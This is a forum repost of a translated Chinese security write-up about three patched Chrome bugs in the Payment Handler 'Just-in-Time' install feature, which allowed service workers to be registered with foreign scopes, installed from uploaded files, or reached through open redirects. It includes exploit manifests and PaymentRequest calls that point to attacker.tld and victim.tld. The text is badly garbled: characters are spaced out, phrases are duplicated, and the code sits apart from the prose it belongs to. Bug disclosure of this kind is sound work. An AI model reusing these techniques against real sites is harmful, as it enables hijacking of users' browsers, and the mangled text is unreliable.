搜索

[13265] 2018-10-05_如何在Chrome中使用即时支付功能

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2018-10-05_如何在Chrome中使用即时支付功能 如 何 在 C h r o m e 中 使 用 即 时 支 付 功 能 A l p h a _ h 4 c k   F r e e B u f   2 0 1 8 - 1 0 - 0 5 严 正 声 明 ： 本 文 仅 限 于 技 术 讨 论 ， 严 禁 用 于 其 他 用 途 。 严 正 声 明 ： 本 文 仅 限 于 技 术 讨 论 ， 严 禁 用 于 其 他 用 途 。 话 不 多 说 ， 我 们 直 奔 主 题 ！ 当 时 我 在 研 究 C h r o m e 支 付 处 理 A P I （ P a y m e n t H a n d l e r   A P I ） 的 时 候 ， 我 发 现 了 下 面 这 句 话 ： C h r o m e 还 支 持 一 个 非 标 准 功 能 ， 我 们 将 其 命 名 为 ’ 及 时 安 装 功 能 ’ （ J I T ） 。 非 常 好 ， 这 名 字 一 听 起 来 就 感 觉 像 存 在 非 常 好 ， 这 名 字 一 听 起 来 就 感 觉 像 存 在 b u g 的 。 所 以 我 赶 紧 对 这 个 功 能 的 工 作 机 制 进 行 了 研 究 【 参 考 资 料 】 。 首 的 。 所 以 我 赶 紧 对 这 个 功 能 的 工 作 机 制 进 行 了 研 究 【 参 考 资 料 】 。 首 先 ， 支 付 处 理 先 ， 支 付 处 理 A P I 允 许 支 付 服 务 提 供 商 处 理 发 送 给 他 们 的 支 付 请 求 ， 那 支 付 允 许 支 付 服 务 提 供 商 处 理 发 送 给 他 们 的 支 付 请 求 ， 那 支 付 A p p 的 的 J I T 安 装 功 能 又 是 什 么 呢 ？ 具 安 装 功 能 又 是 什 么 呢 ？ 具 体 我 就 不 解 释 了 ， 请 大 家 接 着 往 下 看 。 体 我 就 不 解 释 了 ， 请 大 家 接 着 往 下 看 。 当 客 户 端 使 用 服 务 器 不 支 持 的 方 法 来 调 用 支 付 请 求 的 时 候 ， 也 就 是 下 面 这 样 ： C h r o m e 将 会 从 服 务 器 支 持 的 方 法 （ 例 如 h t t p s : / / e x a m p l e . c o m / p a y / ） 中 获 取 一 个 特 定 的 U R L 地 址 ， 用 于 获 取 地 址 的 页 面 需 要 以 包 含 下 列 响 应 H e a d e r （ 指 向 P a y m e n t   M e t h o d M a n i f e s t ） 的 响 应 信 息 来 响 应 客 户 端 的 请 求 ： 接 下 来 ， C h r o m e 将 会 获 取 之 前 所 定 义 的 P a y m e n t   M e t h o d   M a n i f e s t ， 文 件 的 大 致 内 容 如 下 所 示 ： n e w   P a y m e n t R e q u e s t ( [ {   s u p p o r t e d M e t h o d s :   ' h t t p s : / / e x a m p l e . c o m / p a y / '   } ] ,   {   . . .   } ) ; L i n k : < h t t p s : / / e x a m p l e . c o m / p a y / p a y m e n t - m a n i f e s t . j s o n > ; r e l = " p a y m e n t - m e t h o d - m a n i f e s t "
然 后 ， C h r o m e 将 会 获 取 之 前 所 定 义 的 W e b   A p p   M a n i f e s t ， 该 文 件 的 内 容 大 致 如 下 ： C h r o m e 将 会 用 一 个 指 向 “ s r c ” 和 “ s c o p e ” 值 的 J a v a S c r i p t 文 件 来 注 册 S e r v i c e   W o r k e r ， 这 里 是 J I T 安 装 过 程 中 用 户 可 以 点 击 “ 支 付 ” 按 钮 的 一 种 情 况 ： 幸 运 的 是 ， 页 面 内 的 “ 支 付 ” 按 钮 默 认 设 置 为 聚 焦 的 ， 所 以 我 们 就 可 以 想 办 法 让 目 标 用 户 按 住 回 车 键 3 秒 钟 ， 这 样 我 们 就 可 以 触 发 J I T 安 装 功 能 了 。 你 注 意 到 上 图 中 有 些 什 么 奇 怪 的 地 方 了 吗 ？ 没 错 ， 支 付 A p p 的 源 似 乎 来 自 w w w . g o o g l e . c o m 。 为 什 么 呢 ？ 原 来 我 们 可 以 用 S e r v i c e   W o r k e r 脚 本 来 指 定 W e b   A p p   M a n i f e s t 中 “ s c o p e ” 参 数 的 值 ， 也 就 是 可 以 设 置 任 意 值 ： 尽 管 如 此 ， 这 里 还 是 存 在 一 些 问 题 ， 因 为 S e r v i c e   W o r k e r 仍 然 会 存 有 攻 击 者 网 站 的 源 地 址 ， 即 使 攻 击 者 注 册 的 是 G o o g l e 服 务 范 围 内 的 地 址 。 我 这 里 没 办 法 拦 截 导 航 / 支 付 请 求 ， 但 是 我 可 以 使 用 C o n s o l e   A P I 这 样 的 A P I 来 进 行 数 据 分 析 ， 而 当 用 户 访 问 了 g o o g l e . c o m 的 控 制 台 之 后 ， C o n s o l e   A P I 可 以 记 录 用 户 的 任 意 数 据 。 这 个 漏 洞 跟 U X S S 非 常 相 似 ， 但 是 我 没 办 法 成 功 利 用 ， 因 为 我 不 应 该 使 用 D a t a   U R L 脚 本 。 当 时 我 将 该 漏 洞 上 报 给 G o o g l e 之 后 ， 他 们 在 两 天 内 修 复 了 该 漏 洞 （ C h r o m e   6 8 禁 用 了 J I T 安 装 功 能 ） , 并 提 供 了 5 0 0 0 美 金 的 漏 洞 奖 励 。 这 个 过 程 中 我 还 注 意 到 了 另 一 个 问 题 ， 其 实 我 们 根 本 不 需 要 在 目 标 站 点 内 执 行 脚 本 来 触 发 J I T 安 装 功 能 。 也 就 是 说 ， 假 设 攻 击 者 的 站 点 中 托 管 了 如 下 所 示 的 脚 本 内 容 ： C h r o m e 将 会 获 取 服 务 器 不 支 持 的 方 法 ， 响 应 信 息 的 响 应 H e a d e r 如 下 ： { " d e f a u l t _ a p p l i c a t i o n s " :   [ " h t t p s : / / e x a m p l e . c o m / p a y / w e b - a p p - m a n i f e s t . j s o n " ] , " s u p p o r t e d _ o r i g i n s " :   [ " h t t p s : / / e x a m p l e . c o m " ]   } {     " n a m e " :   " P a y   w i t h E x a m p l e " ,     . . . .     " s e r v i c e w o r k e r " :   {         " s r c " : " s e r v i c e - w o r k e r . j s " ,         " s c o p e " : " h t t p s : / / e x a m p l e . c o m / p a y / "     } ,     . . . } {     " n a m e " :   " P a y   t o A t t a c k e r " ,     . . . .     " s e r v i c e w o r k e r " :   {         " s r c " :   " h t t p s : / / a t t a c k e r . t l d / s e r v i c e - w o r k e r . j s " ,         " s c o p e " : " h t t p s : / / w w w . g o o g l e . c o m / "     } ,     . . . } n e w   P a y m e n t R e q u e s t ( [ {   s u p p o r t e d M e t h o d s :   ' h t t p s : / / a t t a c k e r . t l d / '   } ] ,   {   . . .   } ) ;
接 下 来 ， C h r o m e 将 会 以 下 列 方 式 获 取 P a y m e n t   M e t h o d   M a n i f e s t ： 现 在 ， C h r o m e 会 从 目 标 站 点 获 取 W e b   A p p   M a n i f e s t ， 这 个 W e b   A p p   M a n i f e s t 能 够 以 任 意 C o n t e n t - T y p e 或 C o n t e n t - D i s p o s i t i o n 进 行 响 应 。 有 的 人 可 能 会 想 ， “ 是 不 是 可 以 用 C r o s s - o r i g i n N o - C O R S 来 请 求 一 个 J S O N 文 件 呢 ？ C O R B 会 不 会 禁 用 这 种 请 求 方 式 呢 ？ ” 没 错 ， 这 种 请 求 响 应 的 确 会 被 屏 蔽 ， 尽 管 如 此 ， C h r o m e 仍 会 继 续 获 取 上 述 的 W e b   A p p   M a n i f e s t 内 容 ： S e r v i c e   W o r k e r 脚 本 的 C o n t e n t - T y p e 必 须 为 J a v a S c r i p t ， 但 如 果 使 用 C o n t e n t - D i s p o s i t i o n 的 话 就 无 所 谓 了 。 总 的 来 说 ， 如 果 你 能 够 向 目 标 站 点 上 传 文 件 的 话 ， 你 就 可 以 在 不 需 要 执 行 任 何 脚 本 的 情 况 下 安 装 S e r v i c e   W o r k e r 了 （ 持 久 型 X S S ） 。 这 很 明 显 又 是 一 个 漏 洞 ， 上 报 之 后 我 又 拿 到 了 3 0 0 0 美 金 … 所 以 ， 第 一 个 漏 洞 通 过 检 测 W e b   A p p   M a n i f e s t 、 S e r v i c e   W o r k e r 脚 本 和 S c o p e   U R L 是 否 同 源 来 成 功 修 复 ， 第 二 个 漏 洞 通 过 检 测 P a y m e n t   M e t h o d   M a n i f e s t 和 支 付 A p p 是 否 在 同 一 网 站 来 成 功 修 复 。 那 么 接 下 来 ， 我 们 继 续 尝 试 H a c k ！ 攻 击 者 的 网 站 调 用 下 列 方 法 ： C h r o m e 获 取 不 支 持 的 方 法 兵 重 定 向 至 攻 击 者 的 网 站 ， 响 应 信 息 的 响 应 H e a d e r 如 下 ： 接 下 来 还 是 跟 之 前 一 样 ， 我 们 只 需 要 向 目 标 站 点 上 传 文 件 （ P a y m e n t   M e t h o d   M a n i f e s t ） ， 如 果 目 标 站 点 开 启 了 开 放 重 定 向 功 能 的 话 ， 这 样 就 能 够 绕 过 所 有 的 安 全 检 测 ， 因 为 目 标 站 点 中 的 S e r v i c e   W o r k e r 并 不 需 要 执 行 任 何 脚 本 。 当 然 了 ， 这 个 漏 洞 在 两 天 之 后 已 经 修 复 了 ， 然 后 我 又 拿 到 了 3 1 3 3 . 7 美 金 （ 7 毛 是 什 么 鬼 ？ ） 。 最 后 ， 完 整 的 J I T 支 付 A p p 在 C h r o m e   6 9 中 正 式 上 线 。 下 面 是 同 网 站 S e r v i c e   W o r k e r 安 装 的 P o C ： 【 传 送 门 】 我 个 人 认 为 ， 控 制 响 应 H e a d e r 还 是 比 较 困 难 的 ， 所 以 目 前 C h r o m e 所 采 取 的 缓 解 方 案 也 足 够 了 。 *   参 考 来 源 ： 参 考 来 源 ： s h h n j k ， ， F B 小 编 小 编 A l p h a _ h 4 c k 编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M L i n k : < h t t p s : / / a t t a c k e r . t l d / p a y m e n t - m a n i f e s t . j s o n > ; r e l = " p a y m e n t - m e t h o d - m a n i f e s t " { " d e f a u l t _ a p p l i c a t i o n s " : [ " h t t p s : / / v i c t i m . t l d / u s e r - u p l o a d / w e b - a p p - m a n i f e s t . j s o n " ] , " s u p p o r t e d _ o r i g i n s " :   " * "   } {     " n a m e " :   " P a y   t o A t t a c k e r " ,     . . . .     " s e r v i c e w o r k e r " :   {         " s r c " : " h t t p s : / / v i c t i m . t l d / u s e r - u p l o a d / s e r v i c e - w o r k e r . j s " ,         " s c o p e " : " h t t p s : / / v i c t i m . t l d / u s e r - u p l o a d / "     } ,     . . . } n e w   P a y m e n t R e q u e s t ( [ {   s u p p o r t e d M e t h o d s : ' h t t p s : / / r e d i r e c t . v i c t i m . t l d / o p e n - r e d i r e c t ? u r l = / / a t t a c k e r . t l d / '   } ] ,   {   . . .   } ) ; L i n k : < h t t p s : / / v i c t i m . t l d / u s e r - u p l o a d / p a y m e n t - m a n i f e s t . j s o n > ; r e l = " p a y m e n t - m e t h o d - m a n i f e s t "
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理